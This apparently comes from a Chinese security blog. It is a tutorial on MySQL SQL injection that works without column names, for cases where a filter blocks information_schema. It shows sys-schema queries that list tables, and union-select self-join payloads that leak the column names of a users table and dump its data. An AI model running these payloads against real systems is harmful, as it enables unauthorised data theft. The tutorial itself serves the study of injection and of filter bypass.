【网络安全】SQL注入——无列名注入

一、前言

今天来学习一下无列名注入,无列名注入是什么。我们在真实环境渗透测试的时候很大概率会遇到WAF或者正则,其中在SQL注入的时候被过滤掉information,导致无法查询到表名。

二、information

information是什么,有基础的应该知道information是MySQL自带的数据库,其中包含表名,列名这些关键的信息。

sql注入一般都会用到information_schema这个库(mysql自带的库),禁用掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。如果information被过滤掉了,该怎么办呢?

2.1sys库

MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

sys库的两种形式:

(1). schema_table_statistics_with_buffer

sql 复制代码
#查询数据库名
select table_schema from sys.schema_auto_increment_columns;
sql 复制代码
#查询表明
select table_name from sys.schema_auto_increment_columns where table_schema=databse();

(2). x$schema_table_statistics_with_buffer

sql 复制代码
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
python 复制代码
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();

三、无列名注入

join------用于合并两个表;

using------表示使用什么字段进行连接;

通过join自连接同一张表制造重复列名错误,再利用using子句强制暴露所有列名结构。进行union select注入时,前后查询结果的列数必须严格一致,否则会引发错误。

得到 id 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b)as c;

得到 username 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id))as c;

得到 password 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username))as c;

得到 user 表中的数据

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username,password))as c;

相关推荐
赵渝强老师22 分钟前
【赵渝强老师】MySQL数据库的多实例环境
数据库·sql·mysql
长城20241 小时前
关于命名参数占位符的分析(主要以PHP为例)
sql·php·占位符·命名参数占位符·bindparam
Xasxxs1 小时前
【网络安全】WAF Bypass——长亭雷池、安全狗下的SQL绕过
数据库·sql·安全·web安全·网络安全·php
九河云5 小时前
AI+云,双擎驱动——华为云让智能触手可及
网络·人工智能·科技·安全·华为云
zezexihaha7 小时前
AI 安全与伦理:当大模型拥有 “决策能力”,我们该如何建立技术边界与监管框架?
人工智能·安全
墨染 殇雪7 小时前
web安全-XSS注入
前端·web安全·xss·跨站脚本
Clownseven7 小时前
堡垒机(跳板机)入门指南:构建更安全的多服务器运维架构
运维·服务器·安全
网络安全大学堂7 小时前
【网络安全入门基础教程】网络安全就业方向(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·网络安全·程序员·编程
你那是什么调调9 小时前
MySQL 中 InnoDB 引擎的事务隔离级别与“可重复读”隔离级别下的 SQL 编写规范
数据库·sql·mysql
DemonAvenger9 小时前
主从复制架构:原理与搭建详解——从入门到实战
数据库·sql·性能优化